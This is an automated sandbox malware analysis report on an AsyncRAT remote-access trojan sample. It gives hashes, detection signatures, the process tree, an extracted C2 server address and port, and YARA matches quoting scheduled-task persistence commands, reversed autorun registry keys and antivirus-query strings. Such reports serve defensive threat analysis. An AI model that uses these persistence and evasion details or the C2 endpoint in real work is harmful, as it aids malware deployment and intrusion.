Edit tour

Windows Analysis Report
egpTyFpA8v.exe

Overview

General Information

Sample name:	egpTyFpA8v.exe renamed because original name is a hash value
Original sample name:	8f42d1e07595808544eed18a45e8d7220dff40597d4d53d0f63fab47554afbdf.exe
Analysis ID:	1588713
MD5:	bc18b6803a287e63b3668b5817f12419
SHA1:	bc21190df092d93629068c705ea8dc630d3db4a4
SHA256:	8f42d1e07595808544eed18a45e8d7220dff40597d4d53d0f63fab47554afbdf
Tags:	AsyncRATexeuser-adrian__luca
Infos:

Detection

AsyncRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Yara detected AntiVM3

Yara detected AsyncRAT

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Drops VBS files to the startup folder

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Sigma detected: WScript or CScript Dropper

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

egpTyFpA8v.exe (PID: 7732 cmdline: "C:\Users\user\Desktop\egpTyFpA8v.exe" MD5: BC18B6803A287E63B3668B5817F12419)

Wausaukee.exe (PID: 7788 cmdline: "C:\Users\user\Desktop\egpTyFpA8v.exe" MD5: BC18B6803A287E63B3668B5817F12419)

RegSvcs.exe (PID: 7816 cmdline: "C:\Users\user\Desktop\egpTyFpA8v.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

wscript.exe (PID: 7932 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

Wausaukee.exe (PID: 7984 cmdline: "C:\Users\user\AppData\Local\preinhered\Wausaukee.exe" MD5: BC18B6803A287E63B3668B5817F12419)

RegSvcs.exe (PID: 8004 cmdline: "C:\Users\user\AppData\Local\preinhered\Wausaukee.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Malware Configuration

Threatname: AsyncRAT

{"Server": "69.174.100.131", "Port": "6606", "Version": "0.5.8", "MutexName": "abkZfsCYRZhk", "Autorun": "false", "Group": "null"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.1597930274.0000000000532000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000006.00000002.1597930274.0000000000532000.00000040.80000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x97ab:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x9919:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xac38:$a2: Stub.exe 0xacc8:$a2: Stub.exe 0x6711:$a3: get_ActivatePong 0x9b31:$a4: vmware 0x99a9:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x7460:$a6: get_SslClient
00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x6711:$str01: get_ActivatePong 0x7460:$str02: get_SslClient 0x747c:$str03: get_TcpClient 0x5d1d:$str04: get_SendSync 0x5d6d:$str05: get_IsConnected 0x649c:$str06: set_UseShellExecute 0x9c4f:$str07: Pastebin 0x9cd1:$str08: Select * from AntivirusProduct 0xac38:$str09: Stub.exe 0xacc8:$str09: Stub.exe 0x9a29:$str10: timeout 3 > NUL 0x9919:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn 0x99a9:$str12: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x99ab:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x9919:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xac38:$a2: Stub.exe 0xacc8:$a2: Stub.exe 0x6711:$a3: get_ActivatePong 0x9b31:$a4: vmware 0x99a9:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x7460:$a6: get_SslClient
00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x6711:$str01: get_ActivatePong 0x7460:$str02: get_SslClient 0x747c:$str03: get_TcpClient 0x5d1d:$str04: get_SendSync 0x5d6d:$str05: get_IsConnected 0x649c:$str06: set_UseShellExecute 0x9c4f:$str07: Pastebin 0x9cd1:$str08: Select * from AntivirusProduct 0xac38:$str09: Stub.exe 0xacc8:$str09: Stub.exe 0x9a29:$str10: timeout 3 > NUL 0x9919:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn 0x99a9:$str12: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x99ab:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: Wausaukee.exe PID: 7788	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: Wausaukee.exe PID: 7788	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Wausaukee.exe PID: 7788	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x1da947:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: Wausaukee.exe PID: 7984	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: Wausaukee.exe PID: 7984	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: RegSvcs.exe PID: 8004	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 8004	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x12c47:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.Wausaukee.exe.e60000.1.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
5.2.Wausaukee.exe.e60000.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.Wausaukee.exe.e60000.1.raw.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x9919:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xac38:$a2: Stub.exe 0xacc8:$a2: Stub.exe 0x6711:$a3: get_ActivatePong 0x9b31:$a4: vmware 0x99a9:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x7460:$a6: get_SslClient
5.2.Wausaukee.exe.e60000.1.raw.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x6711:$str01: get_ActivatePong 0x7460:$str02: get_SslClient 0x747c:$str03: get_TcpClient 0x5d1d:$str04: get_SendSync 0x5d6d:$str05: get_IsConnected 0x649c:$str06: set_UseShellExecute 0x9c4f:$str07: Pastebin 0x9cd1:$str08: Select * from AntivirusProduct 0xac38:$str09: Stub.exe 0xacc8:$str09: Stub.exe 0x9a29:$str10: timeout 3 > NUL 0x9919:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn 0x99a9:$str12: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
5.2.Wausaukee.exe.e60000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x99ab:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
2.2.Wausaukee.exe.1870000.1.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
2.2.Wausaukee.exe.1870000.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.Wausaukee.exe.1870000.1.raw.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x9919:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xac38:$a2: Stub.exe 0xacc8:$a2: Stub.exe 0x6711:$a3: get_ActivatePong 0x9b31:$a4: vmware 0x99a9:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x7460:$a6: get_SslClient
2.2.Wausaukee.exe.1870000.1.raw.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x6711:$str01: get_ActivatePong 0x7460:$str02: get_SslClient 0x747c:$str03: get_TcpClient 0x5d1d:$str04: get_SendSync 0x5d6d:$str05: get_IsConnected 0x649c:$str06: set_UseShellExecute 0x9c4f:$str07: Pastebin 0x9cd1:$str08: Select * from AntivirusProduct 0xac38:$str09: Stub.exe 0xacc8:$str09: Stub.exe 0x9a29:$str10: timeout 3 > NUL 0x9919:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn 0x99a9:$str12: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
2.2.Wausaukee.exe.1870000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x99ab:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
5.2.Wausaukee.exe.e60000.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
5.2.Wausaukee.exe.e60000.1.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x7b19:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x8e38:$a2: Stub.exe 0x8ec8:$a2: Stub.exe 0x4911:$a3: get_ActivatePong 0x7d31:$a4: vmware 0x7ba9:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x5660:$a6: get_SslClient
5.2.Wausaukee.exe.e60000.1.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x4911:$str01: get_ActivatePong 0x5660:$str02: get_SslClient 0x567c:$str03: get_TcpClient 0x3f1d:$str04: get_SendSync 0x3f6d:$str05: get_IsConnected 0x469c:$str06: set_UseShellExecute 0x7e4f:$str07: Pastebin 0x7ed1:$str08: Select * from AntivirusProduct 0x8e38:$str09: Stub.exe 0x8ec8:$str09: Stub.exe 0x7c29:$str10: timeout 3 > NUL 0x7b19:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn 0x7ba9:$str12: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
5.2.Wausaukee.exe.e60000.1.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x7bab:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
6.2.RegSvcs.exe.530000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
6.2.RegSvcs.exe.530000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
6.2.RegSvcs.exe.530000.0.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x9919:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xac38:$a2: Stub.exe 0xacc8:$a2: Stub.exe 0x6711:$a3: get_ActivatePong 0x9b31:$a4: vmware 0x99a9:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x7460:$a6: get_SslClient
6.2.RegSvcs.exe.530000.0.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x6711:$str01: get_ActivatePong 0x7460:$str02: get_SslClient 0x747c:$str03: get_TcpClient 0x5d1d:$str04: get_SendSync 0x5d6d:$str05: get_IsConnected 0x649c:$str06: set_UseShellExecute 0x9c4f:$str07: Pastebin 0x9cd1:$str08: Select * from AntivirusProduct 0xac38:$str09: Stub.exe 0xacc8:$str09: Stub.exe 0x9a29:$str10: timeout 3 > NUL 0x9919:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn 0x99a9:$str12: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
6.2.RegSvcs.exe.530000.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x99ab:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
2.2.Wausaukee.exe.1870000.1.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
2.2.Wausaukee.exe.1870000.1.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x7b19:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x8e38:$a2: Stub.exe 0x8ec8:$a2: Stub.exe 0x4911:$a3: get_ActivatePong 0x7d31:$a4: vmware 0x7ba9:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x5660:$a6: get_SslClient
2.2.Wausaukee.exe.1870000.1.unpack	rat_win_asyncrat	Detect AsyncRAT based on specific strings	Sekoia.io	0x4911:$str01: get_ActivatePong 0x5660:$str02: get_SslClient 0x567c:$str03: get_TcpClient 0x3f1d:$str04: get_SendSync 0x3f6d:$str05: get_IsConnected 0x469c:$str06: set_UseShellExecute 0x7e4f:$str07: Pastebin 0x7ed1:$str08: Select * from AntivirusProduct 0x8e38:$str09: Stub.exe 0x8ec8:$str09: Stub.exe 0x7c29:$str10: timeout 3 > NUL 0x7b19:$str11: /c schtasks /create /f /sc onlogon /rl highest /tn 0x7ba9:$str12: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
2.2.Wausaukee.exe.1870000.1.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x7bab:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Click to see the 18 entries

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs" , ProcessId: 7932, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs" , ProcessId: 7932, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe, ProcessId: 7788, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Wausaukee.vbs

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000006.00000002.1598705687.00000000027D1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: AsyncRAT {"Server": "69.174.100.131", "Port": "6606", "Version": "0.5.8", "MutexName": "abkZfsCYRZhk", "Autorun": "false", "Group": "null"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Virustotal: Detection: 68%			Perma Link

Multi AV Scanner detection for submitted file

Source: egpTyFpA8v.exe	Virustotal: Detection: 68%			Perma Link
Source: egpTyFpA8v.exe	ReversingLabs: Detection: 87%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: egpTyFpA8v.exe

Joe Sandbox ML: detected

Source: egpTyFpA8v.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: wntdll.pdbUGP source: Wausaukee.exe, 00000002.00000003.1377701020.00000000035C0000.00000004.00001000.00020000.00000000.sdmp, Wausaukee.exe, 00000002.00000003.1378166008.0000000003760000.00000004.00001000.00020000.00000000.sdmp, Wausaukee.exe, 00000005.00000003.1476637459.0000000003840000.00000004.00001000.00020000.00000000.sdmp, Wausaukee.exe, 00000005.00000003.1476809472.00000000039E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Wausaukee.exe, 00000002.00000003.1377701020.00000000035C0000.00000004.00001000.00020000.00000000.sdmp, Wausaukee.exe, 00000002.00000003.1378166008.0000000003760000.00000004.00001000.00020000.00000000.sdmp, Wausaukee.exe, 00000005.00000003.1476637459.0000000003840000.00000004.00001000.00020000.00000000.sdmp, Wausaukee.exe, 00000005.00000003.1476809472.00000000039E0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0049445A GetFileAttributesW,FindFirstFileW,FindClose,	0_2_0049445A
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0049C6D1 FindFirstFileW,FindClose,	0_2_0049C6D1
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0049C75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_0049C75C
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0049EF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0049EF95
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0049F0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0049F0F2
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0049F3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0049F3F3
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_004937EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_004937EF
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_00493B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00493B12
Source: C:\Users\user\Desktop\egpTyFpA8v.exe	Code function: 0_2_0049BCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0049BCBC
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009B445A GetFileAttributesW,FindFirstFileW,FindClose,	2_2_009B445A
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009BC6D1 FindFirstFileW,FindClose,	2_2_009BC6D1
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009BC75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	2_2_009BC75C
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009BEF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_009BEF95
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009BF0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	2_2_009BF0F2
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009BF3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	2_2_009BF3F3
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009B37EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	2_2_009B37EF
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009B3B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	2_2_009B3B12
Source: C:\Users\user\AppData\Local\preinhered\Wausaukee.exe	Code function: 2_2_009BBCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	2_2_009BBCBC

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 5.2.Wausaukee.exe.e60000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Wausaukee.exe.1870000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.RegSvcs.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.1485447769.0000000000E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1381107360.0000000001870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: global traffic

TCP traffic: 192.168.2.7:49799 -> 69.174.100.131:6606

Source: Joe Sandbox View

IP Address: 69.174.100.131 69.174.100.131

Source: Joe Sandbox View

ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS

Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\egpTyFpA8v.exe

Code function: 0_2_004A22EE InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_004A22EE

Source: global traffic

DNS traffic detected: DNS query: time.windows.com

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.Wausaukee.exe.e60000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Wausaukee.exe.1870000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Wausaukee.exe.e60000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.RegSvcs.exe.530000.0.unpack, type: UNPACKEDPE
